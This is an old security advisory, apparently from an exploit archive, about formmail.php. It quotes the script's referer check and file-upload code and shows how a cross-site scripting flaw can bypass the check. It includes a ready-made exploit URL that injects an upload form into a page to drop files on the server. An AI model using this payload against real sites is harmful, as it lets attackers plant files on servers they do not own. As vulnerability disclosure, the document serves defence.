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formmailphp.txt

formmailphp.txt
Posted Feb 6, 2004
Authored by Nourredine Himeur | Site security-challenge.com

A cross site scripting flaw exists in formmail.php.

tags | advisory, php, xss
SHA-256 | d49f56633d701471196ff37392bfceff436e67bd19935a0a27674c25c4999346

formmailphp.txt

Change Mirror Download


Informations :

°°°°°°°°°°°°°°

Website : http://www.dtheatre.com/scripts/

Version : all

Problem : Upload file







PHP Code/Location :

°°°°°°°°°°°°°°°°°°°

formmail.php :

------------------------------------------------------------------

function check_referer($referers) {

if (count($referers)) {

$found = false;



$temp = explode("/",getenv("HTTP_REFERER"));

$referer = $temp[2];



if ($referer=="") {$referer = $_SERVER['HTTP_REFERER'];

list($remove,$stuff)=split('//',$referer,2);

list($home,$stuff)=split('/',$stuff,2);

$referer = $home;

}



for ($x=0; $x < count($referers); $x++) {

if (eregi ($referers[$x], $referer)) {

$found = true;

}

}

if ($referer =="")

$found = false;

if (!$found){

print_error("You are coming from an <b>unauthorized domain.</b>");

error_log("[FormMail.php] Illegal Referer. (".getenv("HTTP_REFERER").")", 0);

}

return $found;

} else {

return true; // not a good idea, if empty, it will allow it.

}

}

------------------------------------------------------------------

...

------------------------------------------------------------------

// check for a file if there is a file upload it

if ($file_name) {

if ($file_size > 0) {

if (!ereg("/$", $path_to_file))

$path_to_file = $path_to_file."/";

$location = $path_to_file.$file_name;

if (file_exists($path_to_file.$file_name))

$location = $path_to_file.rand(1000,3000).".".$file_name;

copy($file,$location);

unlink($file);

$content .= "Uploaded File: ".$location."\n";

}

}

------------------------------------------------------------------



You can bypassing the REFERER protection and put a file on the site (for exemple with a Cross Site Scripting on the same site).This option running even if this function is desactivated.



Exploit :

°°°°°°°°°



http://www.exemple.com/foo.php?css=<form%20method=post%20enctype=multipart/form-data%20action=formmail.php><input%20type=hidden%20name=MAX_FILE_SIZE%20value=1000000><input%20type=hidden%20name=path_to_file%20value=./><input%20type=text%20name=email><input%20type=file%20name=file%20><input%20type=hidden%20name=recipient%20%20value=%20foo@foo.com%20><input%20type=submit>





Whith :

http://www.exemple.com/formmail.php

and

http://www.exemple.com/file.php?css= <-- Cross Site Scripting Here







For More details :

°°°°°°°°°°°°°°

IRC : hauzgur.serveirc.com / #defaced





Nourredine Himeur



www.security-challenge.com





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